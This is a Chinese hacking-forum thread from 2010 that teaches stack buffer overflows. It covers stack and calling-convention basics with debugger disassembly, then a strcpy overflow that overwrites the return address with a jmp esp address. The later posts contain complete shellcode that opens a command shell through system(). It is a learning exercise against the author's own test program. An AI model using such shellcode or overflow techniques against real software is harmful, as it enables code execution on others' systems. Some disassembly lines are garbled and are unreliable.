初探缓冲区溢出
1.堆栈知识
2.c语言的函数初探
3.例子
1.堆栈知识
1.1栈是一种数据结构,有着各种操作比如(push(压栈),pop(弹栈),top(栈顶相当于汇编里的esp),base(栈底相当于汇编里的ebp),好比一摞扑克牌。
PUSH:为栈增加一个元素的操作叫做PUSH,相当于在这摞扑克牌的最上面再放上一张。
POP:从栈中取出一个元素的操作叫做POP,相当于从这摞扑克牌取出最上面的一张。
TOP(栈顶相当于汇编里的esp):标识栈顶位置,并且是动态变化的,栈顶元素相当于扑克牌最上面一张,只有这张牌的花色是我们当前可以看到的。
BASE(栈底相当于汇编里的ebp):标识栈底位置,它记录着扑克牌最下面一张的位置。BASE用于防止栈空后继续弹栈(牌发完时就不能再去揭牌了)。很明显,一般情况下,BASE是不会变动的。
内存的栈区实际上指的就是系统栈。系统栈由系统自动维护,它用于实现高级语言中函数的调用。对于类似C语言这样的高级语言,系统栈的PUSH、POP等堆栈平衡细节是透明的。一般说来,只有在使用汇编语言开发程序的时候,才需要和它直接打交道。举个例子:我们去饭馆里吃饭,只管点菜(push)、付钱(esp)、你有多少钱(ebp)、吃饭(pop),吃饱了就走,不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作,他的好处是快捷,但是自由度小。
请看图用od载入记事本后的栈图:
然后我push(压栈)一次再看图:
如果不明白的话就跟帖询问吧。
1.2 堆------留着以后学习
2.c语言的函数初探int function1(int a,int b){
return (a+b);
}
int function(int a,int b){
return function1(a,b);
}
int main(int argc, char* argv[])
{
int i=1,j=0;
function(i,j);
return 0;
}
函数调用顺序是 main()---->function--->function1,下面看看汇编,他们是怎么传的参数(也就是栈操作),还有函数顺序如何改变。
15: int main(int argc, char* argv[])<------main()主函数
16: {
004010B0 push ebp
004010B1 mov ebp,esp
004010B3 sub esp,48h
004010B6 push ebx
004010B7 push esi
004010B8 push edi
004010B9 lea edi,
004010BC mov ecx,12h
004010C1 mov eax,0CCCCCCCCh
004010C6 rep stos dword ptr
17:
18: int i=1,j=0;
004010C8 mov dword ptr ,1
004010CF mov dword ptr ,0
19:
20:
21: function(i,j);
004010D6 mov eax,dword ptr
004010D9 push eax <------------- 参数0
004010DA mov ecx,dword ptr
004010DD push ecx <------------- 参数1
004010DE call @ILT+10(function) (0040100f)<------ 调用函数function
004010E3 add esp,8
现在我们看看function调用前堆栈的情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF80
EIP = 004010DE ESP = 0012FF24
EBP = 0012FF80 EFL = 00000212
22:
23:
24:
25: return 0;
004010E6 xor eax,eax
26: }
004010E8 pop edi
004010E9 pop esi
004010EA pop ebx
004010EB add esp,48h
004010EE cmp ebp,esp
004010F0 call __chkesp (00401200)
004010F5 mov esp,ebp
004010F7 pop ebp
004010F8 ret
我们进入函数function后堆栈情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF80
EIP = 00401070 ESP = 0012FF20
EBP = 0012FF80 EFL = 00000212
10: int function(int a,int b){
00401070 push ebp
00401071 mov ebp,esp
00401073 sub esp,40h
00401076 push ebx
00401077 push esi
00401078 push edi
00401079 lea edi,
0040107C mov ecx,10h
00401081 mov eax,0CCCCCCCCh
00401086 rep stos dword ptr
11:
我们进入函数function1前堆栈情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF1C
EIP = 00401020 ESP = 0012FEC4
EBP = 0012FF1C EFL = 00000202
12: return function1(a,b);
00401088 mov eax,dword ptr
0040108B push eax
0040108C mov ecx,dword ptr
0040108F push ecx
00401090 call @ILT+15(function) (00401014)
00401095 add esp,8
13: }
00401098 pop edi
00401099 pop esi
0040109A pop ebx
0040109B add esp,40h
0040109E cmp ebp,esp
004010A0 call __chkesp (00401200)
004010A5 mov esp,ebp
004010A7 pop ebp
004010A8 ret
我们进入函数function1后堆栈情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF1C
EIP = 00401020 ESP = 0012FEC4
EBP = 0012FF1C EFL = 00000202
7: int function1(int a,int b){
00401020 push ebp
00401021 mov ebp,esp
00401023 sub esp,40h
00401026 push ebx
00401027 push esi
00401028 push edi
00401029 lea edi,
0040102C mov ecx,10h
00401031 mov eax,0CCCCCCCCh
00401036 rep stos dword ptr
8: return (a+b);
00401038 mov eax,dword ptr
0040103B add eax,dword ptr
9: }
0040103E pop edi
0040103F pop esi
00401040 pop ebx
00401041 mov esp,ebp
00401043 pop ebp
00401044 ret <----------我们单步走到这里,然后观察堆栈情况:
EAX = 00000001 EBX = 7FFDE000
ECX = 00000000 EDX = 003811A8
ESI = 00000009 EDI = 0012FF1C
EIP = 00401044 ESP = 0012FEC4
EBP = 0012FF1C EFL = 00000202
现在我们想返回main()函数内应开怎么办呢?
答案就是更改esp;因为ret等于pop IP.
吧esp的内容改成004010E3
004010DE call @ILT+10(function) (0040100f)
004010E3 add esp,8
好了看看效果。
等一下再改一下这里把esp改成00000000
在看图:
好了如果把esp的内容改成我们所希望执行的代码,\(^o^)/~!!!!
最后大家看的头都晕了,楼主你在说什么呀?
我发个整体流程的图:
修改esp内容后,的流程图
3.例子#include "string.h"
void function(char *str){
char buffer;
strcpy(buffer,str);
}
int main(int argc, char* argv[])
{
char large_str[]={"abcdefghijklmnoprstu"};
function(large_str);//有问题的函数
return 0;
}编译运行后出现提示如图:
论坛中缓冲区溢出蚊帐比较少,还请各位大侠指教,未完待续。
[ 本帖最后由 whypro 于 2010-5-12 09:48 编辑 ]
谢谢各位老大给我的鼓励,继续写。
缓冲区溢出好比你往杯子里倒啤酒,倒满了还要再倒肯定会溢出的呀!
例子3中已经看到错误提示但是怎么利用呢这很关键,
先来看看汇编吧:
调用之前堆栈的情况:
main()函数下断点:00401324call 123.0040100A
进入后再看一下堆栈:
call指令相当于吧call下一条的地址入栈,然后跳转到子程序中去执行
00401070 >/> \55 push ebp
00401071|.8BEC mov ebp,esp
00401073|.83EC 58 sub esp,0x58 <-----给堆栈分配空间 0x58
00401076|.53 push ebx
00401077|.56 push esi
00401078|.57 push edi
00401079|.8D7D A8 lea edi,
0040107C|.B9 16000000 mov ecx,0x16
00401081|.B8 CCCCCCCC mov eax,0xCCCCCCCC <------VC++Debug模式下把Stack上的变量初始化为0xcc,检查未初始化的问题
00401086|.F3:AB rep stos dword ptr es:
00401088|.B9 05000000 mov ecx,0x5
0040108D|.BE 6C2F4200 mov esi,123.00422F6C ;ASCII "abcdefghijklmnoprstu"
00401092|.8D7D E8 lea edi,
00401095|.F3:A5 rep movs dword ptr es:,dword ptr ds:
00401097|.A4 movs byte ptr es:,byte ptr ds:<-------字符串填充char large_str[]={"abcdefghijklmnoprstu"};
00401098|.8D45 E8 lea eax,
0040109B|.50 push eax<-------字符串压栈,也就是函数的参数(参数就两种传递方式传值和传地址),这个是什么方式呢?
再来看看堆栈:
0040109C|.E8 64FFFFFF call 123.00401005 <------function(large_str);<-----------------有问题的函数
004010A1|.83C4 04 add esp,0x4
004010A4|.33C0 xor eax,eax
004010A6|.5F pop edi
004010A7|.5E pop esi
004010A8|.5B pop ebx
004010A9|.83C4 58 add esp,0x58 <------------堆栈平衡 0x58,用完了就释放,非常便捷。
004010AC|.3BEC cmp ebp,esp
004010AE|.E8 4D010000 call 123._chkespleBufferstringsWtetApage <--------------------Debug模式下Stack对ESP的检查,有兴趣自己跟一下
004010B3|.8BE5 mov esp,ebp
004010B5|.5D pop ebp
004010B6\.C3 retn
下面我们来到0040109C|.E8 64FFFFFF call 123.00401005 <-----------------有问题的函数
进入函数后看一下堆栈:
00401020 >/> \55 push ebp
00401021|.8BEC mov ebp,esp
00401023|.83EC 4C sub esp,0x4C<-----分配堆栈空间
00401026|.53 push ebx
00401027|.56 push esi
00401028|.57 push edi
00401029|.8D7D B4 lea edi,
0040102C|.B9 13000000 mov ecx,0x13
00401031|.B8 CCCCCCCC mov eax,0xCCCCCCCC<--------char buffer;初始化
00401036|.F3:AB rep stos dword ptr es:
00401038|.8B45 08 mov eax,
0040103B|.50 push eax
0040103C|.8D4D F4 lea ecx,
0040103F|.51 push ecx
00401040|.E8 CB000000 call 123.strcpysgzeHeaderListle_pages<---------strcpy(buffer,str);执行拷贝
00401045|.83C4 08 add esp,0x8
00401048|.5F pop edi
00401049|.5E pop esi
0040104A|.5B pop ebx
0040104B|.83C4 4C add esp,0x4C
0040104E|.3BEC cmp ebp,esp<---------------发现ebp,esp被改写
esp=0012FF10, (ASCII "mnoprstu")
ebp=0012FF10, (ASCII "mnoprstu")
00401050|.E8 AB010000 call 123._chkespleBufferstringsWtetApage
00401055|.8BE5 mov esp,ebp
00401057|.5D pop ebp
00401058\.C3 retn
提醒一下retn相当于 把esp的内容给eip 然后执行eip
返回时的情况再看看
好的我们继续执行,看看效果。
这回我们改一下程序#include "string.h"
void function(char *str){
char buffer;
strcpy(buffer,str);
}
int main(int argc, char* argv[])
{
char large_str[]={"abcdefghijklmnop\x12\x45\xfa\x7f"};
function(large_str);
return 0;
}
[ 本帖最后由 whypro 于 2010-5-12 09:49 编辑 ] 昨天看了下文章 笔记做的很详细 描述了程序运行时候堆栈操作的基本情况
可以技术深入 有兴趣的话 可以找本缓冲区溢出的书籍来丰富一下 期待 ~ 学习下/:good 学习,缓冲区溢出应该也能应用到crack上! /:good膜拜 很NB!有时间学习下/:good /:018 毅力不是一般的大,过段时间就可以成才了 ,膜拜未来的大牛 用od载入,来到上次出错的位置
00401020 >/> \55 push ebp
00401021|.8BEC mov ebp,esp
00401023|.83EC 4C sub esp,0x4C
00401026|.53 push ebx
00401027|.56 push esi
00401028|.57 push edi
00401029|.8D7D B4 lea edi,
0040102C|.B9 13000000 mov ecx,0x13
00401031|.B8 CCCCCCCC mov eax,0xCCCCCCCC
00401036|.F3:AB rep stos dword ptr es:
00401038|.8B45 08 mov eax,
0040103B|.50 push eax
0040103C|.8D4D F4 lea ecx,
0040103F|.51 push ecx
00401040|.E8 CB000000 call 123.strcpysgzeHeaderListle_pages
00401045|.83C4 08 add esp,0x8
00401048|.5F pop edi
00401049|.5E pop esi
0040104A|.5B pop ebx
0040104B|.83C4 4C add esp,0x4C
0040104E|.3BEC cmp ebp,esp
00401050|.E8 AB010000 call 123._chkespleBufferstringsWtetApage
00401055|.8BE5 mov esp,ebp
00401057|.5D pop ebp
00401058\.C3 retn <-----来到这里
看一下堆栈,ESP已经变成0012FF14-->7FFA4512
正好是我们刚才改的那个值\x12\x45\xfa\x7f。看来我们输入的字符串直接可以影响函数的运行。/:08
下面我再改一下输入的字符串#include "string.h"
void function(char *str){
char buffer;
strcpy(buffer,str);
}
int main(int argc, char* argv[])
{
char large_str[]={"abcdefghijklmnop\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D"};
function(large_str);
return 0;
}
[ 本帖最后由 whypro 于 2010-5-12 10:15 编辑 ] 上一楼运行后结果如图所示:
我们用输入的字符串打开了一个cmd窗口/:17
好了我们来分析一下
00401020 >/> \55 push ebp
00401021|.8BEC mov ebp,esp
00401023|.83EC 4C sub esp,0x4C
00401026|.53 push ebx
00401027|.56 push esi
00401028|.57 push edi
00401029|.8D7D B4 lea edi,
0040102C|.B9 13000000 mov ecx,0x13
00401031|.B8 CCCCCCCC mov eax,0xCCCCCCCC
00401036|.F3:AB rep stos dword ptr es:
00401038|.8B45 08 mov eax,
0040103B|.50 push eax
0040103C|.8D4D F4 lea ecx,
0040103F|.51 push ecx
00401040|.E8 CB000000 call 123.strcpysgzeHeaderListle_pages
00401045|.83C4 08 add esp,0x8
00401048|.5F pop edi
00401049|.5E pop esi
0040104A|.5B pop ebx
0040104B|.83C4 4C add esp,0x4C
0040104E|.3BEC cmp ebp,esp
00401050|.E8 AB010000 call 123._chkespleBufferstringsWtetApage
00401055|.8BE5 mov esp,ebp
00401057|.5D pop ebp
00401058\.C3 retn <-----来到这里
提醒一下retn相当于 把esp的内容给eip 然后执行eip
观察堆栈:
我们继续运行来到这里
7FFA4512- FFE4 jmp esp
看一下堆栈情况:
然后来到这里:
0012FEAC 55 push ebp
0012FEAD 8BEC mov ebp, esp
0012FEAF 33C0 xor eax, eax
0012FEB1 50 push eax
0012FEB2 50 push eax
0012FEB3 50 push eax
0012FEB4 C645 F4 4D mov byte ptr , 4D
0012FEB8 C645 F5 53 mov byte ptr , 53
0012FEBC C645 F6 56 mov byte ptr , 56
0012FEC0 C645 F7 43 mov byte ptr , 43
0012FEC4 C645 F8 52 mov byte ptr , 52
0012FEC8 C645 F9 54 mov byte ptr , 54
0012FECC C645 FA 2E mov byte ptr , 2E
0012FED0 C645 FB 44 mov byte ptr , 44
0012FED4 C645 FC 4C mov byte ptr , 4C
0012FED8 C645 FD 4C mov byte ptr , 4C
0012FEDC BA 771D807C mov edx, 7C801D77
0012FEE1 52 push edx
0012FEE2 8D45 F4 lea eax, dword ptr
0012FEE5 50 push eax
0012FEE6 FF55 F0 call dword ptr
0012FEE9 55 push ebp
0012FEEA 8BEC mov ebp, esp
0012FEEC 83EC 2C sub esp, 2C
0012FEEF B8 636F6D6D mov eax, 6D6D6F63
0012FEF4 8945 F4 mov dword ptr , eax
0012FEF7 B8 616E642E mov eax, 2E646E61
0012FEFC 8945 F8 mov dword ptr , eax
0012FEFF B8 636F6D22 mov eax, 226D6F63
0012FF04 8945 FC mov dword ptr , eax
0012FF07 33D2 xor edx, edx
0012FF09 8855 FF mov byte ptr , dl
0012FF0C 8D45 F4 lea eax, dword ptr
0012FF0F 50 push eax
0012FF10 B8 C793BF77 mov eax, 77BF93C7
0012FF15 FFD0 call eax
未完成,期待后续完工!
[ 本帖最后由 whypro 于 2010-5-12 10:38 编辑 ]
页:
[1]
2